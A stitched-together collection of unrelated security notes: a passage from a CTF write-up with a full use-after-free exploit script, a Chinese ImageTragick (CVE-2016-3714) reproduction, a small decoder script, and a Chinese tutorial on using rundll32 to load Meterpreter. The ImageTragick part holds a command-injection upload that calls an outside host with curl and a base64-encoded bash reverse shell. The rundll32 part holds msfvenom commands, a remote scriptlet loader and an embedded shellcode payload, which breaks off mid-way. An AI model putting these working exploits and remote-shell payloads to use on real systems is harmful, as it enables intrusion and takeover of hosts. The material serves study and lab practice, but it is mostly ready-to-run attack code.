files[file_fd]; if (pfVar1 != (file_context_t *)0x0) { (*(code *)pfVar1->p_write_func)(pfVar1,new_data_length,p_new_data); return 0; } return 0xffffffff; } void c3ctf_file_write(file_context_t *p_ctx,uint new_data_length,char *p_new_data) { char *pcVar1; if (p_ctx->data_length < new_data_length) { pcVar1 = (char *)realloc(p_ctx->p_data,(ulong)new_data_length); p_ctx->p_data = pcVar1; } p_ctx->data_length = new_data_length; strncpy(p_ctx->p_data,p_new_data,(ulong)new_data_length); return; } ``` Reading a file: ```c undefined8 do_read(int file_fd,uint length_to_read,char *p_out_buffer) { file_context_t *pfVar1; pfVar1 = files[file_fd]; if (pfVar1 != (file_context_t *)0x0) { (*(code *)pfVar1->p_read_func)(pfVar1,length_to_read,p_out_buffer); return 0; } return 0xffffffff; } void c3ctf_file_read(file_context_t *p_ctx,uint length_to_read,char *p_out_buffer) { if (p_ctx->data_length < length_to_read || p_ctx->data_length == length_to_read) { length_to_read = p_ctx->data_length; } strncpy(p_out_buffer,p_ctx->p_data,(ulong)length_to_read); return; } ``` Duplicating a file: ```c ulong do_dup(int file_fd) { file_context_t *pfVar1; ulong uVar2; ulong uVar3; pfVar1 = files[file_fd]; if (pfVar1 == (file_context_t *)0x0) { uVar2 = 0xffffffff; } else { (*(code *)pfVar1->p_dup_func)(pfVar1); if (files[0] == (file_context_t *)0x0) { uVar2 = 0; LAB_00400a0c: files[(int)uVar2] = pfVar1; } else { uVar3 = 1; do { uVar2 = uVar3 & 0xffffffff; if (files[uVar3] == (file_context_t *)0x0) { if ((int)uVar3 < 0) { return 0xffffffff; } goto LAB_00400a0c; } uVar3 = uVar3 + 1; } while (uVar3 != 0x10); uVar2 = 0xffffffff; } } return uVar2; } void c3ctf_file_dup(file_context_t *p_ctx) { p_ctx->reference_count = p_ctx->reference_count + '\x01'; return; } ``` Closing a file: ```c undefined8 do_close(int file_fd) { file_context_t *pfVar1; pfVar1 = files[file_fd]; if (pfVar1 != (file_context_t *)0x0) { (*(code *)pfVar1->p_close_func)(pfVar1); files[file_fd] = (file_context_t *)0x0; return 0; } return 0xffffffff; } void c3ctf_file_close(file_context_t *p_ctx) { uint8_t uVar1; uVar1 = p_ctx->reference_count + -1; p_ctx->reference_count = uVar1; if (uVar1 != '\0') { return; } free(p_ctx->p_data); free(p_ctx); return; } ``` We can see two bugs in the implementation above. For the first bug, let's take a look at how the handlers are called from the program loop above: ```c iVar1 = __isoc99_sscanf(user_input,"close %d",&file_fd); if (iVar1 == 1) { uVar3 = do_close(file_fd); if ((int)uVar3 == 0) { __printf_chk(1,"Closed file with file descriptor: %d\n",(ulong)file_fd); } else { __printf_chk(1,"Error: File with fd %d could not be closed\n",(ulong)file_fd); } } ``` This is an example for `close`, but other functions behave in the same way. As you can see, the `fd` is received from the user and passed on to the handler without validating bounds. It is then used in order to access the `files` array. This means that the user can input any integer (positive or negative) and cause the program to treat an arbitrary 8-byte aligned address as a pointer to a file context. However, I couldn't find a way to exploit this in the given program. The other bug is much easier to exploit. Let's take another look at the duplication handler. We'll refactor it a bit and inline `c3ctf_file_dup` for the sake of readability: ```c pfVar1 = files[file_fd]; if (pfVar1 == NULL) { return -1; } pfVar1->reference_count += 1; for (i = 0; i < 16; i++) { if (files[i] == NULL) { files[i] = pfVar1; return i; } } return -1; ``` `dup` causes an additional entry in the array to point to the same context. The number of files using the same context is maintained in the reference counter field of the context. This field is used to ensure that `close` will only free the context once no more files are using it. However, we can see that the reference counter is advanced before the function makes sure that there is room in the array for the new file. This means that after filling up the file array, we can call `dup` as much as we want in order to control the reference counter of any file. Therefore, the plan is to: 1. Create a file ("file_0") 2. Duplicate the file so that both files use the same context on the heap ("file0_dup") 3. Create a third file which will be used in a moment ("file_1") 4. Fill up the table with filler files 5. Use the bug to overflow the reference counter of "file_0" (and its duplicate file) to 1 6. Free "file_0". Since the reference counter will be decremented to 0, the file context will be freed. However we still have access to it via "file0_dup". 7. Perform a write to "file1" with a specially crafted input: 1. Note that `write` allocates a buffer from the heap to hold the input 2. If the buffer size needed to hold the input is the same size as the buffer just freed (the one that held the file context for "file_0"), there's a good chance that the heap manager will reuse it, allowing us to effectively write to the buffer that "file0_dup" is pointing to 3. We'll craft the input as a file_context_t structure. The important part is to place the address of `spawn_shell` in an offset which is reserved for a file pointer 8. Trigger an action which will invoke the function pointer we've placed, via `file0_dup` 9. Get a shell The following script performs this: ```python #First, generate a template with "pwn template fd" #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) # FORTIFY: Enabled import re, ctypes class file_context_t(ctypes.Structure): _fields_ = [ ("reference_count", ctypes.c_ubyte), ("reserved" , ctypes.c_ubyte * 3), ("data_length", ctypes.c_uint32), ("data", ctypes.c_char_p), ("name" , ctypes.c_ubyte * 32), ("p_close_func" , ctypes.c_uint64), # void* ("p_read_func" , ctypes.c_uint64), # void* ("p_write_func" , ctypes.c_uint64), # void* ("p_dup_func" , ctypes.c_uint64) # void* ] def to_bytes(self): return buffer(self)[:] UINT8_MAX = 0xFF ENTER_CMD = "\nEnter the command you want to execute." def read_opening_text(proc): return proc.recvuntil(ENTER_CMD, drop = True) def read_menu(proc): proc.recvuntil("\n> ") def print_list(proc): read_menu(proc) proc.sendline("list") return proc.recvuntil(ENTER_CMD, drop = True) def create(proc, name): read_menu(proc) proc.sendline("create {}".format(name)) resp = proc.recvline() if "Error" in resp: raise Exception(resp) new_fd = resp.split(": ")[1].rstrip() log.info("File '{}' created with fd {}".format(name, new_fd)) return new_fd def close(proc, fd): read_menu(proc) proc.sendline("close {}".format(fd)) log.info("Closing file with fd {}".format(fd)) def dup(proc, fd): read_menu(proc) proc.sendline("dup {}".format(fd)) resp = proc.recvline() if "Error" in resp: raise Exception(resp) new_fd = resp.split(": ")[1].rstrip() log.info("File with fd {} duplicated, new fd: {}".format(fd, new_fd)) return new_fd def read(proc, fd, n): read_menu(proc) proc.sendline("read {} {}".format(fd, n)) log.info("Reading {} bytes from fd {}".format(n, fd)) resp = proc.recvline() return proc.recvuntil(ENTER_CMD, drop = True) def write(proc, fd, n, data): read_menu(proc) proc.sendline("write {} {} {}".format(fd, n, data)) log.info("Writing {} bytes to fd {}:\n{}".format(n, fd, hexdump(data))) resp = proc.recvline() return proc.recvuntil(ENTER_CMD, drop = True) def exit(proc): read_menu(proc) proc.sendline("exit") log.info("Quitting...") log.info("Address of spawn_shell(): {}".format(hex(exe.symbols['spawn_shell']))) io = start() opening_text = read_opening_text(io) match = re.search(r"At this point of time, only (\d+) files can be managed at the same time.", opening_text) num_files = int(match.group(1)) file0 = create(io, "file_0") file1 = create(io, "file_1") file0_dup = dup(io, file0) for i in range(num_files - len([file0, file0_dup, file1])): create(io, "filler_{}".format(i)) # Overflow reference counter for file_0 (current reference count is 2) num_duplications = UINT8_MAX for i in range(num_duplications): try: dup(io, file0) except: pass log.info("Attempted to duplicate fd {} for {} times".format(file0, num_duplications)) # Reference counter is now 1 close(io, file0) fc = file_context_t.from_buffer_copy('A' * ctypes.sizeof(file_context_t)) fc.p_close_func = exe.symbols['spawn_shell'] write(io, file1, ctypes.sizeof(fc), fc.to_bytes()) close(io, file0_dup) io.interactive() ``` Output: ```console root@kali:/media/sf_CTFs/36c3/minifd# python exploit.py [*] '/media/sf_CTFs/36c3/minifd/fd' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled [*] Address of spawn_shell(): 0x400e9e [+] Starting local process '/media/sf_CTFs/36c3/minifd/fd': pid 1739 [*] File 'file_0' created with fd 0 [*] File 'file_1' created with fd 1 [*] File with fd 0 duplicated, new fd: 2 [*] File 'filler_0' created with fd 3 [*] File 'filler_1' created with fd 4 [*] File 'filler_2' created with fd 5 [*] File 'filler_3' created with fd 6 [*] File 'filler_4' created with fd 7 [*] File 'filler_5' created with fd 8 [*] File 'filler_6' created with fd 9 [*] File 'filler_7' created with fd 10 [*] File 'filler_8' created with fd 11 [*] File 'filler_9' created with fd 12 [*] File 'filler_10' created with fd 13 [*] File 'filler_11' created with fd 14 [*] File 'filler_12' created with fd 15 [*] Attempted to duplicate fd 0 for 255 times [*] Closing file with fd 0 [*] Writing 80 bytes to fd 1: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000030 9e 0e 40 00 00 00 00 00 41 41 41 41 41 41 41 41 │··@·│····│AAAA│AAAA│ 00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000050 [*] Closing file with fd 2 [*] Switching to interactive mode $ cat flag.txt junior-pwned_after_the_ctf_was_over $ exit [*] Got EOF while reading in interactive $ [*] Process '/media/sf_CTFs/36c3/minifd/fd' stopped with exit code 0 (pid 1739) [*] Got EOF while sending in interactive ``` Bonus: While debugging the exploit with GDB, it's very convenient to use be able to view the file context as a logical structure. However, the structure definition was stripped from the binary. The solution (obtained from [here](https://stackoverflow.com/questions/7272558/can-we-define-a-new-data-type-in-a-gdb-session/7273785#7273785)) is to compile a fake `C` file and take the symbols from there: ```console root@kali:/media/sf_CTFs/36c3/minifd# cat src.c #import <stdint.h> typedef struct file_context { uint8_t reference_count; uint8_t reserved[3]; uint32_t data_length; uint8_t* p_data; char name[32]; void* p_close_func; void* p_read_func; void* p_write_func; void* p_dup_func; } file_context_t; file_context_t dummy; root@kali:/media/sf_CTFs/36c3/minifd# gcc -g -c src.c root@kali:/media/sf_CTFs/36c3/minifd# ``` Then: ``` gdb-peda$ add-symbol-file src.o 0 add symbol table from file "src.o" at .text_addr = 0x0 Reading symbols from src.o...done. gdb-peda$ p *((file_context_t*[16])files)[2] $3 = { reference_count = 0x1, reserved = "\000\000", data_length = 0x0, p_data = 0x0, name = "file_0", '\000' <repeats 25 times>, p_close_func = 0x4008ab <c3ctf_file_close>, p_read_func = 0x4008d0 <c3ctf_file_read>, p_write_func = 0x4008f1 <c3ctf_file_write>, p_dup_func = 0x4008a7 <c3ctf_file_dup> } ```
sec-knowleage
# Imagetragick 命令执行漏洞(CVE-2016–3714) ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。 参考链接: - https://imagetragick.com - https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html - https://github.com/ImageTragick/PoCs ## 漏洞环境 执行如下命令启动一个包含了Imagemagick 6.9.2-10的PHP服务器: ``` docker compose up -d ``` ## 漏洞复现 访问`http://your-ip:8080/`即可查看到一个上传组件。 发送如下数据包: ``` POST / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et Content-Length: 328 ------WebKitFormBoundarymdcbmdQR1sDse9Et Content-Disposition: form-data; name="file_upload"; filename="1.gif" Content-Type: image/png push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)' pop graphic-context ------WebKitFormBoundarymdcbmdQR1sDse9Et-- ``` 可见,`www.leavesongs.com:8889`已经接收到http请求,说明curl命令执行成功: ![](2.png) 反弹shell POC: ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )' pop graphic-context ``` ![](3.png)
sec-knowleage
class Display: def __init__(self): self.data=[' ' for i in range(256)] self.ptr = 0 def __repr__(self): return '#'*22+'\n'+'#'+''.join(self.data[:20])+'#'+'\n'+'#'+''.join(self.data[64:84])+'#'+'\n'+'#'+''.join(self.data[20:40])+'#'+'\n'+'#'+''.join(self.data[84:104])+'#'+'\n'+'#'*22 def com(self,d): if d[0]=="1": self.ptr=(int(d[1:],2)) elif d=="00000001": self.data=[' ' for i in range(256)] self.ptr = 0 elif d[:7]=="0000001": self.ptr = 0 def putchr(self,c): self.data[self.ptr]=chr(int(c,2)) self.ptr+=1 self.ptr=self.ptr #input file with open('decode.out') as f: data =f.read().split('\n') dsp=Display() for i in data: a=i.split('\t') if a[0]=='DAT': dsp.putchr(a[1]) elif a[0]=='COM': dsp.com(a[1]) print dsp
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 ### Rundll32简介: Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。 **说明:**Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Rundll32调用。 Windows 2003 默认位置: ```bash C:\Windows\System32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe ``` Windows 7 默认位置: ```bash C:\Windows\System32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.119 Windows 2003 192.168.1.5 Windows 7 ### 基于远程加载(1): **配置攻击机msf:** **注:x86 payload** ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` ![](media/f92cb9f3191ab217bf1444fd4879dfc9.jpg) ### 靶机执行: ```bash C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode") ``` **注:x64 rundll32.exe** ![](media/c506997b4426c859d3a558df523e9e78.jpg) ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 57 opened (192.168.1.4:53 ‐> 192.168.1.5:41274) at 2019‐01‐19 04:13:26 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 7064 meterpreter > ``` ![](media/ef9be408db8b488f46d82a0be95be4d9.jpg) ### 基于本地加载(2): **payload配置:** ```bash msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f dll > Micropoor_Rundll32.dll ``` ![](media/c29bcb8da0b2ab93b41b78680cdf6797.jpg) **靶机执行:** ![](media/775af2d953be8cd89beb670c8103727d.jpg) ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 63 opened (192.168.1.4:53 ‐> 192.168.1.5:43320) at 2019‐01‐19 04:34:59 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 6656 ``` ![](media/2bc648b8817fe93f2247fcc8ad6087e5.jpg) ### 基于命令执行(3): **靶机执行:** **Windows 2003:** ```bash rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()"); ``` 注:如靶机支持powershell,调用powershell更贴合实战。 ![](media/8ff4ead4654c4b472ba81c84ce4cd680.jpg) ### 附录:Rundll32_shellcode ```bash <?xml version="1.0"?> <package> <component id="Micropoor"> <script language="JScript"> <![CDATA[ function setversion() { } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+ "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+ "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+ "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+ "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+ "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+ "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+ "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+ "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+ "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+ "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+ "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+ "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC hYGjml+"+"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMo"+ "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+ "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+ "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+ "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+ "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+ "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQAA"+ "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+ "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+ "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+ "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+ "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+ "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+ "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAAABADsA"+ "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+ "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+ "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+ "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+ "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+ "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+ "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+ "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+ "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+ "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+ "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+ "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGVs"+ "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+ "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8A"+ "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+ "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+ "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+ "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+ "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+ "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+ "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+ "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+ "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ 